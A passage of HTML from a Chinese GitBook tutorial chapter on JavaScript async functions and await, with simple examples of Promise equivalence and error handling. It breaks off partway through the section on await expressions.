data-path=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"../appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"../appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"../thanks.html\">\n            \n                <a href=\"../thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\"..\" >3.2 Async 函数</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#async-&#x51FD;&#x6570;\"><b></b>Async &#x51FD;&#x6570;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x8BED;&#x6CD5;&#x8BF4;&#x660E;\"><b></b>&#x8BED;&#x6CD5;&#x8BF4;&#x660E;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#async-&#x51FD;&#x6570;&#x5B9A;&#x4E49;\"><b></b>Async &#x51FD;&#x6570;&#x5B9A;&#x4E49;</a></li><li><span class=\"title-icon \"></span><a href=\"#async-&#x51FD;&#x6570;&#x9519;&#x8BEF;&#x5904;&#x7406;\"><b></b>Async &#x51FD;&#x6570;&#x9519;&#x8BEF;&#x5904;&#x7406;</a></li><li><span class=\"title-icon \"></span><a href=\"#await-&#x8868;&#x8FBE;&#x5F0F;&#x5B9A;&#x4E49;\"><b></b>await &#x8868;&#x8FBE;&#x5F0F;&#x5B9A;&#x4E49;</a></li><li><span class=\"title-icon \"></span><a href=\"#await-&#x8868;&#x8FBE;&#x5F0F;&#x9519;&#x8BEF;&#x7528;&#x6CD5;\"><b></b>await &#x8868;&#x8FBE;&#x5F0F;&#x9519;&#x8BEF;&#x7528;&#x6CD5;</a></li><li><span class=\"title-icon \"></span><a href=\"#await-&#x8868;&#x8FBE;&#x5F0F;&#x5F02;&#x5E38;&#x6355;&#x83B7;\"><b></b>await &#x8868;&#x8FBE;&#x5F0F;&#x5F02;&#x5E38;&#x6355;&#x83B7;</a></li></ul><li><span class=\"title-icon \"></span><a href=\"#async-&#x51FD;&#x6570;&#x7528;&#x6CD5;&#x4E3E;&#x4F8B;\"><b></b>Async &#x51FD;&#x6570;&#x7528;&#x6CD5;&#x4E3E;&#x4F8B;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x5E38;&#x89C4;&#x7528;&#x6CD5;\"><b></b>&#x5E38;&#x89C4;&#x7528;&#x6CD5;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x987A;&#x5E8F;&#x6267;&#x884C;&#x5F02;&#x6B65;&#x64CD;&#x4F5C;\"><b></b>&#x987A;&#x5E8F;&#x6267;&#x884C;&#x5F02;&#x6B65;&#x64CD;&#x4F5C;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x5E76;&#x53D1;&#x6267;&#x884C;&#x5F02;&#x6B65;&#x64CD;&#x4F5C;\"><b></b>&#x5E76;&#x53D1;&#x6267;&#x884C;&#x5F02;&#x6B65;&#x64CD;&#x4F5C;</a></li></ul></ul></ul></div><a href=\"#async-&#x51FD;&#x6570;\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"async-&#x51FD;&#x6570;\"><a name=\"async-&#x51FD;&#x6570;\" class=\"anchor-navigation-ex-anchor\" href=\"#async-&#x51FD;&#x6570;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"async-&#x51FD;&#x6570;\" class=\"plugin-anchor\" href=\"#async-&#x51FD;&#x6570;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Async &#x51FD;&#x6570;</h1>\n<p>&#x4E0A;&#x4E00;&#x8282;&#x4ECB;&#x7ECD;&#x4E86; Promise &#x5BF9;&#x8C61;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x5F88;&#x65B9;&#x4FBF;&#x5730;&#x5229;&#x7528; Promise &#x5C06;&#x8FC7;&#x53BB;&#x57FA;&#x4E8E;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x7684;&#x5F02;&#x6B65;&#x8FC7;&#x7A0B;&#x6539;&#x9020;&#x6210;&#x57FA;&#x4E8E;&#x94FE;&#x5F0F;&#x8C03;&#x7528;&#x5B9E;&#x73B0;&#xFF0C;&#x8FD9;&#x6837;&#x66F4;&#x7B26;&#x5408;&#x6211;&#x4EEC;&#x7EBF;&#x6027;&#x7684;&#x601D;&#x7EF4;&#x4E60;&#x60EF;&#x3002;&#x4F46;&#x5B9E;&#x8DF5;&#x8FC7;&#x7A0B;&#x4E2D;&#x53D1;&#x73B0;&#xFF0C;&#x8FD9;&#x79CD;&#x94FE;&#x5F0F;&#x8C03;&#x7528;&#x7684;&#x5F02;&#x6B65;&#x65B9;&#x6848;&#x4ECD;&#x7136;&#x4E0D;&#x591F;&#x76F4;&#x89C2;&#xFF0C;&#x6211;&#x4EEC;&#x66F4;&#x5E0C;&#x671B;&#x91C7;&#x7528;&#x7C7B;&#x4F3C;&#x4E8E;&#x540C;&#x6B65;&#x51FD;&#x6570;&#x7684;&#x4E66;&#x5199;&#x65B9;&#x5F0F;&#x6765;&#x5B9E;&#x73B0;&#x5F02;&#x6B65;&#x3002;&#x56E0;&#x6B64;&#x5728; ES2017 &#x6807;&#x51C6;&#x4E2D;&#x5F15;&#x5165;&#x4E86; Async &#x51FD;&#x6570;&#xFF08;Async Functions&#xFF09;&#x7528;&#x4E8E;&#x8FDB;&#x4E00;&#x6B65;&#x7B80;&#x5316;&#x5F02;&#x6B65;&#x7F16;&#x7A0B;&#x3002;</p>\n<p>&#x9700;&#x8981;&#x6CE8;&#x610F;&#x7684;&#x662F;&#xFF0C;&#x7531;&#x4E8E; Async &#x51FD;&#x6570;&#x8BED;&#x6CD5;&#x6BD4;&#x8F83;&#x65B0;&#xFF0C;&#x76EE;&#x524D;&#x53EA;&#x5728;&#x6700;&#x65B0;&#x7248;&#x7684;&#x6D4F;&#x89C8;&#x5668;&#x4E0A;&#x5F97;&#x5230;&#x4E86;&#x652F;&#x6301;&#xFF0C;&#x56E0;&#x6B64;&#x5728;&#x9879;&#x76EE;&#x4E2D;&#x5982;&#x679C;&#x4F7F;&#x7528;&#x4E86; Async &#x51FD;&#x6570;&#xFF0C;&#x53EF;&#x80FD;&#x9700;&#x8981;&#x51C6;&#x5907; Babel &#x7B49;&#x4EE3;&#x7801;&#x7F16;&#x8BD1;&#x5DE5;&#x5177;&#xFF0C;&#x5C06; Async &#x51FD;&#x6570;&#x8BED;&#x6CD5;&#x8F6C;&#x6362;&#x6210; ES5 &#x8BED;&#x6CD5;&#x5B9E;&#x73B0;&#x3002;</p>\n<p><img src=\"img/async-function.png\" alt=\"Async &#x51FD;&#x6570;&#x517C;&#x5BB9;&#x6027;\"></p>\n<p>&#x9996;&#x5148;&#x6211;&#x4EEC;&#x901A;&#x8FC7;&#x4E00;&#x4E2A;&#x7B80;&#x5355;&#x7684;&#x4F8B;&#x5B50;&#x6765;&#x6F14;&#x793A; Async &#x51FD;&#x6570;&#x7684;&#x4F5C;&#x7528;&#x3002;</p>\n<p>&#x5728;&#x8FD9;&#x4E4B;&#x524D;&#x9996;&#x5148;&#x51C6;&#x5907;&#x4E00;&#x4E2A;&#x5F02;&#x6B65;&#x51FD;&#x6570; <code>sleep()</code>&#xFF0C;&#x5176;&#x4F5C;&#x7528;&#x662F;&#x5C06; setTimeout &#x65B9;&#x6CD5;&#x7528; Promise &#x5BF9;&#x8C61;&#x8FDB;&#x884C;&#x5305;&#x88C5;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">function</span> <span class=\"token function\">sleep</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">time</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">return</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Promise</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">resolve</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token function\">setTimeout</span><span class=\"token punctuation\">(</span>resolve<span class=\"token punctuation\">,</span> time<span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x901A;&#x8FC7;&#x4E0A;&#x4E00;&#x8282;&#x7684;&#x5B66;&#x4E60;&#x6211;&#x4EEC;&#x77E5;&#x9053;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x94FE;&#x5F0F;&#x8C03;&#x7528; <code>Promise.then</code> &#x65B9;&#x6CD5;&#x6765;&#x5B9E;&#x73B0;&#x5F02;&#x6B65;&#x8FC7;&#x7A0B;&#x3002;&#x6BD4;&#x5982;&#x4E0B;&#x9762;&#x7684;&#x4F8B;&#x5B50;&#x5F53;&#x4E2D;&#xFF0C;&#x5728;&#x6267;&#x884C; <code>main()</code> 1 &#x79D2;&#x4E4B;&#x540E;&#x5C06;&#x5728;&#x63A7;&#x5236;&#x53F0;&#x6253;&#x5370;&#x51FA;&#x201C;&#x7ED3;&#x675F;&#x201D;&#x7684;&#x6587;&#x6848;&#x7684;&#x5B9E;&#x73B0;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">function</span> <span class=\"token function\">main</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x5F00;&#x59CB;&#xFF1A;&apos;</span> <span class=\"token operator\">+</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Date</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n  <span class=\"token keyword\">return</span> <span class=\"token function\">sleep</span><span class=\"token punctuation\">(</span><span class=\"token number\">1000</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n      console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x7ED3;&#x675F;&#xFF1A;&apos;</span> <span class=\"token operator\">+</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Date</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x63A5;&#x4E0B;&#x6765;&#x6539;&#x7528; Async &#x51FD;&#x6570;&#x6765;&#x5B9E;&#x73B0;&#x540C;&#x6837;&#x529F;&#x80FD;&#x7684;&#x51FD;&#x6570;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">async</span> <span class=\"token keyword\">function</span> <span class=\"token function\">main</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x5F00;&#x59CB;&#xFF1A;&apos;</span> <span class=\"token operator\">+</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Date</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n  <span class=\"token keyword\">await</span> <span class=\"token function\">sleep</span><span class=\"token punctuation\">(</span><span class=\"token number\">1000</span><span class=\"token punctuation\">)</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x7ED3;&#x675F;&#xFF1A;&apos;</span> <span class=\"token operator\">+</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Date</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x53EF;&#x4EE5;&#x770B;&#x5230;&#xFF0C;&#x901A;&#x8FC7;&#x4F7F;&#x7528; <code>async</code> &#x548C; <code>await</code> &#x4FEE;&#x9970;&#x7B26;&#x6539;&#x5199;&#x4E4B;&#x540E;&#x7684; <code>main()</code> &#x5C31;&#x4E0D;&#x518D;&#x9700;&#x8981;&#x4E66;&#x5199;&#x590D;&#x6742;&#x7684; Promise &#x94FE;&#x5F0F;&#x8C03;&#x7528;&#x4E86;&#xFF0C;&#x540C;&#x65F6; Async &#x51FD;&#x6570;&#x7684;&#x8BED;&#x6CD5;&#x4E5F;&#x66F4;&#x4E3A;&#x63A5;&#x8FD1;&#x540C;&#x6B65;&#x51FD;&#x6570;&#xFF0C;&#x65E0;&#x8BBA;&#x662F;&#x4E66;&#x5199;&#x4F53;&#x9A8C;&#x8FD8;&#x662F;&#x9605;&#x8BFB;&#x4F53;&#x9A8C;&#x90FD;&#x5F97;&#x5230;&#x4E86;&#x8F83;&#x5927;&#x7684;&#x63D0;&#x5347;&#x3002;</p>\n<h2 id=\"&#x8BED;&#x6CD5;&#x8BF4;&#x660E;\"><a name=\"&#x8BED;&#x6CD5;&#x8BF4;&#x660E;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x8BED;&#x6CD5;&#x8BF4;&#x660E;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x8BED;&#x6CD5;&#x8BF4;&#x660E;\" class=\"plugin-anchor\" href=\"#&#x8BED;&#x6CD5;&#x8BF4;&#x660E;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x8BED;&#x6CD5;&#x8BF4;&#x660E;</h2>\n<h3 id=\"async-&#x51FD;&#x6570;&#x5B9A;&#x4E49;\"><a name=\"async-&#x51FD;&#x6570;&#x5B9A;&#x4E49;\" class=\"anchor-navigation-ex-anchor\" href=\"#async-&#x51FD;&#x6570;&#x5B9A;&#x4E49;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"async-&#x51FD;&#x6570;&#x5B9A;&#x4E49;\" class=\"plugin-anchor\" href=\"#async-&#x51FD;&#x6570;&#x5B9A;&#x4E49;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Async &#x51FD;&#x6570;&#x5B9A;&#x4E49;</h3>\n<p>Async &#x51FD;&#x6570;&#x9700;&#x8981;&#x901A;&#x8FC7; <code>async</code> &#x4FEE;&#x9970;&#x7B26;&#x8FDB;&#x884C;&#x5B9A;&#x4E49;&#xFF0C;&#x4E0B;&#x9762;&#x6240;&#x4E3E;&#x4F8B;&#x7684;&#x5B9A;&#x4E49;&#x65B9;&#x5F0F;&#x90FD;&#x662F;&#x5408;&#x6CD5;&#x7684;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// &#x666E;&#x901A;&#x51FD;&#x6570;</span>\n<span class=\"token keyword\">async</span> <span class=\"token keyword\">function</span> <span class=\"token function\">foo</span> <span class=\"token punctuation\">(</span><span class=\"token comment\">/* &#x53C2;&#x6570; */</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span><span class=\"token comment\">/* &#x51FD;&#x6570;&#x4F53; */</span><span class=\"token punctuation\">}</span>\n<span class=\"token comment\">// &#x533F;&#x540D;&#x51FD;&#x6570;</span>\n<span class=\"token keyword\">const</span> <span class=\"token function-variable function\">foo</span> <span class=\"token operator\">=</span> <span class=\"token keyword\">async</span> <span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span>\n<span class=\"token comment\">// &#x7BAD;&#x5934;&#x51FD;&#x6570;</span>\n<span class=\"token keyword\">const</span> <span class=\"token function-variable function\">foo</span> <span class=\"token operator\">=</span> <span class=\"token keyword\">async</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span>\n<span class=\"token comment\">// &#x5BF9;&#x8C61;&#x65B9;&#x6CD5;&#x7B80;&#x5199;</span>\n<span class=\"token keyword\">const</span> obj <span class=\"token operator\">=</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">async</span> <span class=\"token function\">foo</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token comment\">// &#x51FD;&#x6570;&#x4F5C;&#x4E3A;&#x53C2;&#x6570;</span>\nlist<span class=\"token punctuation\">.</span><span class=\"token function\">map</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">async</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>Async &#x51FD;&#x6570;&#x4F1A;&#x5C06;&#x51FD;&#x6570;&#x4F53;&#x7684;&#x6240;&#x6709;&#x6267;&#x884C;&#x7ED3;&#x679C;&#x901A;&#x8FC7;&#x4E00;&#x4E2A;&#x9690;&#x5F0F;&#x7684; Promise &#x5BF9;&#x8C61;&#x8FD4;&#x56DE;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">async</span> <span class=\"token keyword\">function</span> <span class=\"token function\">foo</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span>\n<span class=\"token comment\">// &#x7B49;&#x4EF7;&#x4E8E;</span>\n<span class=\"token keyword\">function</span> <span class=\"token function\">foo</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">return</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Promise</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">resolve</span> <span class=\"token operator\">=&gt;</span> <span class=\"token function\">resolve</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token keyword\">async</span> <span class=\"token keyword\">function</span> <span class=\"token function\">foo</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">return</span> <span class=\"token string\">&apos;Hello World&apos;</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token comment\">// &#x7B49;&#x4EF7;&#x4E8E;</span>\n<span class=\"token keyword\">function</span> <span class=\"token function\">foo</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">return</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Promise</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">resolve</span> <span class=\"token operator\">=&gt;</span> <span class=\"token function\">resolve</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;Hello World&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token keyword\">async</span> <span class=\"token keyword\">function</span> <span class=\"token function\">foo</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">let</span> promise <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Promise</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">resolve</span> <span class=\"token operator\">=&gt;</span> <span class=\"token function\">resolve</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;Hello World&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n  <span class=\"token keyword\">return</span> promise\n<span class=\"token punctuation\">}</span>\n<span class=\"token comment\">// &#x7B49;&#x4EF7;&#x4E8E;</span>\n<span class=\"token keyword\">function</span> <span class=\"token function\">foo</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">let</span> promise <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Promise</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">resolve</span> <span class=\"token operator\">=&gt;</span> <span class=\"token function\">resolve</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;Hello World&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n  <span class=\"token keyword\">return</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Promise</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">resolve</span> <span class=\"token operator\">=&gt;</span> <span class=\"token function\">resolve</span><span class=\"token punctuation\">(</span>promise<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<h3 id=\"async-&#x51FD;&#x6570;&#x9519;&#x8BEF;&#x5904;&#x7406;\"><a name=\"async-&#x51FD;&#x6570;&#x9519;&#x8BEF;&#x5904;&#x7406;\" class=\"anchor-navigation-ex-anchor\" href=\"#async-&#x51FD;&#x6570;&#x9519;&#x8BEF;&#x5904;&#x7406;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"async-&#x51FD;&#x6570;&#x9519;&#x8BEF;&#x5904;&#x7406;\" class=\"plugin-anchor\" href=\"#async-&#x51FD;&#x6570;&#x9519;&#x8BEF;&#x5904;&#x7406;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Async &#x51FD;&#x6570;&#x9519;&#x8BEF;&#x5904;&#x7406;</h3>\n<p>&#x5047;&#x5982; Async &#x51FD;&#x6570;&#x7684;&#x51FD;&#x6570;&#x4F53;&#x5728;&#x6267;&#x884C;&#x8FC7;&#x7A0B;&#x4E2D;&#x5B58;&#x5728;&#x672A;&#x6355;&#x83B7;&#x7684;&#x9519;&#x8BEF;&#xFF0C;&#x90A3;&#x4E48;&#x8FD4;&#x56DE;&#x7684; Promise &#x5BF9;&#x8C61;&#x5C06;&#x4F1A;&#x901A;&#x8FC7; reject &#x65B9;&#x6CD5;&#x5C06;&#x5F02;&#x5E38;&#x503C;&#x4F20;&#x9012;&#x4E0B;&#x53BB;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">async</span> <span class=\"token keyword\">function</span> <span class=\"token function\">foo</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">throw</span> <span class=\"token function\">Error</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x51FA;&#x9519;&#x4E86;&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token comment\">// &#x7B49;&#x4EF7;&#x4E8E;</span>\n<span class=\"token keyword\">function</span> <span class=\"token function\">foo</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">return</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Promise</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">resolve<span class=\"token punctuation\">,</span> reject</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token function\">reject</span><span class=\"token punctuation\">(</span><span class=\"token function\">Error</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x51FA;&#x9519;&#x4E86;&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x5047;&#x5982; Async &#x51FD;&#x6570;&#x8FD4;&#x56DE;&#x4E86;&#x5F02;&#x6B65;&#x7684;&#x9519;&#x8BEF;&#xFF0C;&#x4E5F;&#x5C31;&#x662F;&#x8FD4;&#x56DE;&#x7684; Promise &#x5BF9;&#x8C61;&#x72B6;&#x6001;&#x53D8;&#x66F4;&#x4E3A; rejected&#xFF0C;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">async</span> <span class=\"token keyword\">function</span> <span class=\"token function\">foo</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">return</span> Promise<span class=\"token punctuation\">.</span><span class=\"token function\">reject</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x51FA;&#x9519;&#x4E86;&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token comment\">// &#x7B49;&#x4EF7;&#x4E8E;</span>\n<span class=\"token keyword\">function</span> <span class=\"token function\">foo</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">return</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Promise</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">resolve</span> <span class=\"token operator\">=&gt;</span> <span class=\"token function\">resolve</span><span class=\"token punctuation\">(</span>\n    Promise<span class=\"token punctuation\">.</span><span class=\"token function\">reject</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x51FA;&#x9519;&#x4E86;&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x8FD9;&#x6837;&#x4E00;&#x6765;&#x90FD;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x94FE;&#x5F0F;&#x8C03;&#x7528;&#x6765;&#x6355;&#x83B7;&#x5F02;&#x5E38;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token function\">foo</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span>\n  <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>\n  <span class=\"token parameter\">e</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// &#x6253;&#x5370; &apos;&#x51FA;&#x9519;&#x4E86;&apos;</span>\n    console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>e<span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">)</span>\n<span class=\"token comment\">// &#x6216;</span>\n<span class=\"token function\">foo</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">catch</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">e</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x6253;&#x5370; &apos;&#x51FA;&#x9519;&#x4E86;&apos;</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>e<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<h3 id=\"await-&#x8868;&#x8FBE;&#x5F0F;&#x5B9A;&#x4E49;\"><a name=\"await-&#x8868;&#x8FBE;&#x5F0F;&#x5B9A;&#x4E49;\" class=\"anchor-navigation-ex-anchor\" href=\"#await-&#x8868;&#x8FBE;&#x5F0F;&#x5B9A;&#x4E49;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"await-&#x8868;&#x8FBE;&#x5F0F;&#x5B9A;&#x4E49;\" class=\"plugin-anchor\" href=\"#await-&#x8868;&#x8FBE;&#x5F0F;&#x5B9A;&#x4E49;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>await &#x8868;&#x8FBE;&#x5F0F;&#x5B9A;&#x4E49;</h3>\n<p>Async &#x51FD;&#x6570;&#x7684;&#x51FD;&#x6570;&#x4F53;&#x4E2D;&#x53EF;&#x80FD;&#x5B58;&#x5728; await 